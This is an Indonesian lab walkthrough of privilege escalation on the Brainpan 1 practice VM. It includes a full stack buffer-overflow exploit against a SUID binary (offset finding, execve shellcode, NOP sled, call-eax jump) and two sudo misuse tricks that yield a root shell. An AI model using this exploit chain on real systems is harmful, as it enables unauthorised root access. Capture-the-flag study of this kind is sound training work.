
Brainpan 1 – Belajar Membuat Exploit (Seri 2)
Pada tulisan sebelumnya, Aitech sudah berhasil mendapatkan user account, saat ini Aitech berada dalam ‘puck’ user directory dengan privilege sebagai berikut:
1 |
uid=1002(puck) gid=1002(puck) groups=1002(puck) |
Hal yang paling pertama Aitech lakukan adalah mengecek privileges dari ‘puck’ ini :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
puck@brainpan:/home/puck$ sudo -l sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util [action] Where [action] is one of: - network - proclist - manual [command] |
setelah bermain beberapa kali dengan anansi_util ini, Aitech belum menemukan petunjuk apapun yang mengarah ke suatu petunjuk π Aitech menemukan beberapa user yang aktif di server dengan menggunakan perintah ‘cat /etc/passwd’, mari kita lihat mungkin ada petunjuk lainnya yang diberikan oleh owner Brainpan ini :
1 2 3 4 5 6 7 8 |
puck@brainpan:~$ find / -perm +6000 -type f 2>/dev/null find / -perm +6000 -type f 2>/dev/null /bin/umount /bin/su ............ /usr/sbin/pppd /usr/local/bin/validate /sbin/unix_chkpwd |
pada baris ke-7 terlihat satu binary yang tidak biasanya, ‘/usr/local/bin/validate’ ini sepertinya mengarah ke petunjuk selanjutnya, Aitech melakukan penelusuran lebih lanjut terkait berkas tersebut:
1 2 3 4 5 6 7 8 9 |
puck@brainpan:~$ stat /usr/local/bin/validate File: `/usr/local/bin/validate' Size: 8761 Blocks: 24 IO Block: 4096 regular file Device: 801h/2049d Inode: 656771 Links: 1 Access: (4755/-rwsr-xr-x) Uid: ( 1001/ anansi) Gid: ( 1001/ anansi) Access: 2013-03-04 11:06:54.729453282 -0600 Modify: 2013-03-04 11:06:27.277453497 -0600 Change: 2013-03-04 11:06:41.697456473 -0600 Birth: - |
Sepertinya file ini secara sengaja dibuat dengan permission yang salah, sehingga program ini siapapun yang menjalankannya akan memiliki hak yang sama dengan owner dari ‘validate’ ini, walaupun tidak akan menjadi root, hal ini semakin menarik! selanjutnya Aitech mencoba menjalankan berkas ‘validate’ ini :
1 2 3 4 5 |
puck@brainpan:~$ /usr/local/bin/validate usage /usr/local/bin/validate <input> puck@brainpan:~$ /usr/local/bin/validate ls /usr/local/bin/validate ls validating input...passed. |
Setelah melakukan beberapa percobaan, beberapa program penting seperti gcc, strings, dll tidak terinstall di Server ini, Aitech harus memikirkan cara lain supaya bisa melakukan attacking terhadap berkas ini, cara pertama yang Aitech lakukan adalah mengkopi berkas ‘validate’ ini ke Box Kali Linux dan menjalankan perintah file dan strings untuk melihat berkas ini :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
root@kali:~# file validate validate: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0x01d3b7c4bc6eda9d4b4e9c25e036a36349b9630a, not stripped root@kali:~# strings validate | more /lib/ld-linux.so.2 .... strcpy exit puts printf strlen .... failed: %x usage %s <input> validating input... passed. |
Yes! sepertinya file ini juga sama dengan file pada bagian 1 yang vulnerable terhadap fungsi strcpy() – perhatikan garis oranye.
Dan seperti pada Seri 1 dimana Aitech sudah berhasil melakukan ekploitasi brainpan.exe dan sukses men-overwrite EIP dengan 524 bytes menggunakan Immunity Debugger, di Linux Aitech akan menggunakan Aplikasi gdb debugger untuk melakukan hal yang sama seperti seri 1:
1 2 3 |
root@kali:~# gdb -q validate Reading symbols from /root/validate...done. gdb-peda$ |
Aitech mencoba melakukan disassemble terhadap main function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
gdb-peda$ disas main Dump of assembler code for function main: 0x08048538 <+0>: push ebp 0x08048539 <+1>: mov ebp,esp 0x0804853b <+3>: and esp,0xfffffff0 0x0804853e <+6>: sub esp,0x20 0x08048541 <+9>: cmp DWORD PTR [ebp+0x8],0x1 0x08048545 <+13>: jg 0x8048564 <main+44> 0x08048547 <+15>: mov eax,DWORD PTR [ebp+0xc] 0x0804854a <+18>: mov edx,DWORD PTR [eax] 0x0804854c <+20>: mov eax,0x804866c 0x08048551 <+25>: mov DWORD PTR [esp+0x4],edx 0x08048555 <+29>: mov DWORD PTR [esp],eax 0x08048558 <+32>: call 0x80483cc <printf@plt> 0x0804855d <+37>: mov eax,0x0 0x08048562 <+42>: jmp 0x804859d <main+101> 0x08048564 <+44>: mov eax,0x804867e 0x08048569 <+49>: mov DWORD PTR [esp],eax 0x0804856c <+52>: call 0x80483cc <printf@plt> 0x08048571 <+57>: mov eax,DWORD PTR [ebp+0xc] 0x08048574 <+60>: add eax,0x4 0x08048577 <+63>: mov eax,DWORD PTR [eax] 0x08048579 <+65>: mov DWORD PTR [esp],eax 0x0804857c <+68>: call 0x80484b4 <validate> 0x08048581 <+73>: mov DWORD PTR [esp+0x1c],eax 0x08048585 <+77>: cmp DWORD PTR [esp+0x1c],0x0 0x0804858a <+82>: je 0x8048598 <main+96> 0x0804858c <+84>: mov DWORD PTR [esp],0x8048692 0x08048593 <+91>: call 0x80483dc <puts@plt> 0x08048598 <+96>: mov eax,0x0 0x0804859d <+101>: leave 0x0804859e <+102>: ret End of assembler dump. |
Seperti yang terlihat pada baris 24, Aitech menemukan fungsi validate pada address 0x80484b4, mari sekarang kita disassemble fungsi validate ini juga:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
gdb-peda$ disas 0x80484b4 Dump of assembler code for function validate: 0x080484b4 <+0>: push ebp 0x080484b5 <+1>: mov ebp,esp 0x080484b7 <+3>: push ebx 0x080484b8 <+4>: sub esp,0x84 0x080484be <+10>: mov DWORD PTR [ebp-0xc],0x0 0x080484c5 <+17>: mov DWORD PTR [ebp-0xc],0x0 0x080484cc <+24>: jmp 0x8048508 <validate+84> 0x080484ce <+26>: mov eax,DWORD PTR [ebp-0xc] 0x080484d1 <+29>: add eax,DWORD PTR [ebp+0x8] 0x080484d4 <+32>: movzx eax,BYTE PTR [eax] 0x080484d7 <+35>: cmp al,0x46 0x080484d9 <+37>: jne 0x8048504 <validate+80> 0x080484db <+39>: mov eax,DWORD PTR [ebp-0xc] 0x080484de <+42>: add eax,DWORD PTR [ebp+0x8] 0x080484e1 <+45>: movzx eax,BYTE PTR [eax] 0x080484e4 <+48>: movsx edx,al 0x080484e7 <+51>: mov eax,0x8048660 0x080484ec <+56>: mov DWORD PTR [esp+0x4],edx 0x080484f0 <+60>: mov DWORD PTR [esp],eax 0x080484f3 <+63>: call 0x80483cc <printf@plt> 0x080484f8 <+68>: mov DWORD PTR [esp],0x1 0x080484ff <+75>: call 0x80483ec <exit@plt> 0x08048504 <+80>: add DWORD PTR [ebp-0xc],0x1 0x08048508 <+84>: mov ebx,DWORD PTR [ebp-0xc] 0x0804850b <+87>: mov eax,DWORD PTR [ebp+0x8] 0x0804850e <+90>: mov DWORD PTR [esp],eax 0x08048511 <+93>: call 0x80483ac <strlen@plt> 0x08048516 <+98>: cmp ebx,eax 0x08048518 <+100>: jb 0x80484ce <validate+26> 0x0804851a <+102>: mov eax,DWORD PTR [ebp+0x8] 0x0804851d <+105>: mov DWORD PTR [esp+0x4],eax 0x08048521 <+109>: lea eax,[ebp-0x70] 0x08048524 <+112>: mov DWORD PTR [esp],eax 0x08048527 <+115>: call 0x80483bc <strcpy@plt> 0x0804852c <+120>: lea eax,[ebp-0x70] 0x0804852f <+123>: add esp,0x84 0x08048535 <+129>: pop ebx 0x08048536 <+130>: pop ebp 0x08048537 <+131>: ret End of assembler dump. |
Terlihat pada baris 36 fungsi strcpy dijalankan, sekarang Aitech akan mencoba membuat buffer overflow terhadap fungsi tersebut. Aitech memasukkan 300 bytes huruf ‘A’ pada fungsi validate ini :
1 |
gdb-peda$ run $(python -c "print 'A'*300") |
Dari gambar diatas Aitech menyimpulkan bahwa aplikasi ini telah crash dan EIP menunjukkan pada alamat : 0x41414141, dimana 41 ini merupakan desimal dari Huruf ‘A’, dengan ini Aitech berasumsi telah bisa mengontrol EIP ! mari sekarang kita lihat info registers :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
gdb-peda$ info register eax 0xbfa852d8 0xbfa852d8 ecx 0x0 0x0 edx 0x12d 0x12d ebx 0x41414141 0x41414141 esp 0xbfa85350 0xbfa85350 ebp 0x41414141 0x41414141 esi 0x0 0x0 edi 0x0 0x0 eip 0x41414141 0x41414141 eflags 0x10286 [ PF SF IF RF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 |
Terlihat EIP, EBX dan EBP berikut huruf yang Aitech kirimkan pada saat diminta user input dari fungsi validate. sekarang mari lihat stack pointer :
1 2 |
gdb-peda$ x/s $esp 0xbfa85350: 'A' <repeats 180 times> |
Penjelasan: x pertama artinya : examine dan s adalah untuk menampilkan string, jika Anda ingin menampilkan hex dari pada string, gunakan x dan bukan s, misalkan: x/x $esp – ataupun pada EAX dll.
hmm.. sekarang Aitech ingin menemukan posisi berapa kita bisa melakukan overwrite pada EIP. untuk melakukan hal ini, Aitech menggunakan tool dari metasploit yaitu : pattern_create.rb
1 2 3 |
root@kali:~# ruby /usr/share/metasploit-framework/tools/pattern_create.rb 300 > pattern_300.txt root@kali:~# cat pattern_300.txt Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 |
Selanjutnya, Aitech memanggil file pattern_300.txt ini dari dalam gdb seperti berikut:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
gdb-peda$ run $(python -c "f=open('/root/pattern_300.txt','r'); data=str(f.readlines()); print data") Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xbfcfa3c8 ("['Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5"...) EBX: 0x64413564 ('d5Ad') ECX: 0x0 EDX: 0x133 ESI: 0x0 EDI: 0x0 EBP: 0x37644136 ('6Ad7') ESP: 0xbfcfa440 ("d9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9\\n']") EIP: 0x41386441 ('Ad8A') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) |
Terlihat pada EIP berakhir pada huruf ‘Ad8A’ atau 0x41386441, sekarang Aitech akan menggunakan tool pattern_offset.rb untuk menemukan nilai desimal dari EIP tersebut:
1 2 |
root@kali:~# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 0x41386441 [*] Exact match at offset 114 |
hmm.. offset berada pada 114, baiklah…
Untuk memastikan nilai tersebut, Aitech mencoba menjalankan gdb – kali ini dengan memasukkan nilai ‘A’ sebanyak 114 di ikuti ‘B’ dan ‘C’ :
1 |
gdb-peda$ run $(python -c "print ('A'*114 + 'B'*4 + 'C'*(300-4-114))") |
Dari gambar diatas, terlihat EIP sudah di overwrite oleh 0x42424141, sepertinya offset ini tidak tepat karena seharusnya EIP harus di overwrite oleh 0x42424242, untuk itu Aitech perlu menaikkan jumlah offset menjadi 116 agar seluruh huruf ‘B’ bisa masuk ke dalam EIP.
Mari kita coba lagi dengan 116 bytes :
1 |
gdb-peda$ run $(python -c "print ('A'*116 + 'B'*4 + 'C'*(300-4-116))") |
Nah, EIP sekarang baru benar π – EIP sudah di overwrite dengan 4 B atau 0x42424242 sesuai dengan yang Aitech rencanakan. sekarang mari kita lihat isi dari EAX, ESP :
1 2 3 4 5 6 |
gdb-peda$ x/s $eax 0xbfacc428: 'A' <repeats 116 times>, "BBBB", 'C' <repeats 80 times>... gdb-peda$ x/s $esp 0xbfacc4a0: 'C' <repeats 182 times> |
ESP menunjukkan nilai C, sepertinya kita tidak bisa menggunakan stack ESP ini dalam shellcode nantinya, mari kita lihat lebih jelas isi dari EAX :
Kira-kira kalau Aitech ingin melakukan ekploitasi terhadap file ini, Aitech akan menuliskan shellcode pada permulaan dari buffer dan kemudian menggunakan CALL EAX supaya menjalankan shell tersebut. Terlihat pada gambar, jumlah stack yang bisa dimasukkan shellcode ( pada baris 0x41414141 ) ada sekitar 116 bytes, sangat banyak dan cukup untuk sebuah shellcode.
Sekarang Aitech sudah menemukan pattern untuk melakukan buffer overflow terhadap berkas ini, strukturnya sebagai berikut :
Seperti yang sudah kita lakukan sebelumnya bahwa EAX bisa kita gunakan untuk menjalankan shellcode, sekarang Aitech mencoba mencari perintah menuju EAX:
1 2 3 4 |
root@kali:# objdump -D validate | grep eax | grep -i call 8048468: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 80484af: ff d0 call *%eax 804862b: ff d0 call *%eax |
Mangstab ! π Aitech menemukan 2 bagian call *%eax, kita bisa menggunakan kedua call tersebut. Aitech memilih menggunakan 0x080484af pada artikel ini sebagai contoh. Untuk shellcode, aitech menggunakan shellcode dari shell-storm seperti berikut :
1 2 3 4 5 6 7 8 |
/* * Title: Linux x86 - execve("/bin/bash", ["/bin/bash", "-p"], NULL) - 33 bytes */ char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x51\x53\x89\xe1\xcd\x80"; |
Terlihat dari kode tersebut, bahwa shellcode yang akan digunakan sekitar 33 bytes dan akan melakukan eksekusi “/bin/bash”. karena stack yang kita gunakan ada sebanyak 116 bytes, berarti sisanya harus Aitech isi dengan NOP. kira-kira strukturnya seperti berikut :
[33 Bytes Shellcode] + [83 NOPs] + [EAX]
Sehingga kalau kita jalankan pada server Brainpan dengan account ‘puck’ hasilnya sebagai berikut :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
puck@brainpan:~$ /usr/local/bin/validate `python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + ("\x90" * 83) + "\xaf\x84\x04\x08"'` <x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + ("\x90" * 83) + "\xaf\x84\x04\x08"'` bash-4.2$ id; whoami id; whoami uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck) anansi bash-4.2$ bash-4.2$ grep anansi /etc/passwd grep anansi /etc/passwd anansi:x:1001:1001:Anansi,,,:/home/anansi:/bin/bash bash-4.2$ cd /home/anansi cd /home/anansi bash-4.2$ ls -alR ls -alR .: total 32 drwx------ 4 anansi anansi 4096 Mar 4 2013 . drwxr-xr-x 5 root root 4096 Mar 4 2013 .. -rw------- 1 anansi anansi 0 Mar 5 2013 .bash_history -rw-r--r-- 1 anansi anansi 220 Mar 4 2013 .bash_logout -rw-r--r-- 1 anansi anansi 3637 Mar 4 2013 .bashrc drwx------ 2 anansi anansi 4096 Mar 4 2013 .cache -rw------- 1 root root 39 Mar 4 2013 .lesshst -rw-r--r-- 1 anansi anansi 675 Mar 4 2013 .profile drwxrwxr-x 2 anansi anansi 4096 Mar 5 2013 bin ./.cache: total 8 drwx------ 2 anansi anansi 4096 Mar 4 2013 . drwx------ 4 anansi anansi 4096 Mar 4 2013 .. -rw-r--r-- 1 anansi anansi 0 Mar 4 2013 motd.legal-displayed ./bin: total 16 drwxrwxr-x 2 anansi anansi 4096 Mar 5 2013 . drwx------ 4 anansi anansi 4096 Mar 4 2013 .. -rwxr-xr-x 1 anansi anansi 7256 Mar 4 2013 anansi_util |
Mendapatkan Access ROOT!?
Cara Pertama
Cara pertama adalah dengan menggunakan “sudo anansi_util” dari user anansi :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
bash-4.2$ sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util bash-4.2$ getfacl /home/anansi/bin/anansi_util getfacl /home/anansi/bin/anansi_util getfacl: Removing leading '/' from absolute path names # file: home/anansi/bin/anansi_util # owner: anansi # group: anansi user::rwx group::r-x other::r-x bash-4.2$ cd /home/anansi/bin bash-4.2$ ls anansi_util bash-4.2$ mv anansi_util anansi_util.bkf bash-4.2$ cp /bin/bash anansi_util bash-4.2$ sudo /home/anansi/bin/anansi_util root@brainpan:/home/anansi/bin# id id uid=0(root) gid=0(root) groups=0(root) root@brainpan:/home/anansi/bin# cd /root root@brainpan:~# ls b.txt root@brainpan:~# cat b.txt |
Cara Kedua
Cara kedua ini memang tidak disangka, ternyata “sudo /home/anansi/bin/anansi_util manual” ini juga bisa menjalankan perintah untuk mengakses root level :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual vi - (press RETURN) VIM(1) VIM(1) NAME vim - Vi IMproved, a programmers text editor SYNOPSIS vim [options] [file ..] vim [options] - vim [options] -t tag vim [options] -q [errorfile] ex view gvim gview evim eview rvim rview rgvim rgview DESCRIPTION Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs. There are a lot of enhancements above Vi: multi level undo, multi winβ dows and buffers, syntax highlighting, command line editing, filename Manual page vi(1) line 1 (press h for help or q to quit)!/bin/bash !/bin/bash root@brainpan:/usr/share/man# id uid=0(root) gid=0(root) groups=0(root) root@brainpan:/usr/share/man# whoami root |
Terima kasih sudah membaca bagian kedua dari belajar buffer overflow ini dan tidak lupa juga Terima Kasih kepada g0tm1lk dan juga vulnhub yang sudah menghosting VMs yang sangat bermanfaat ini.
Leave A Comment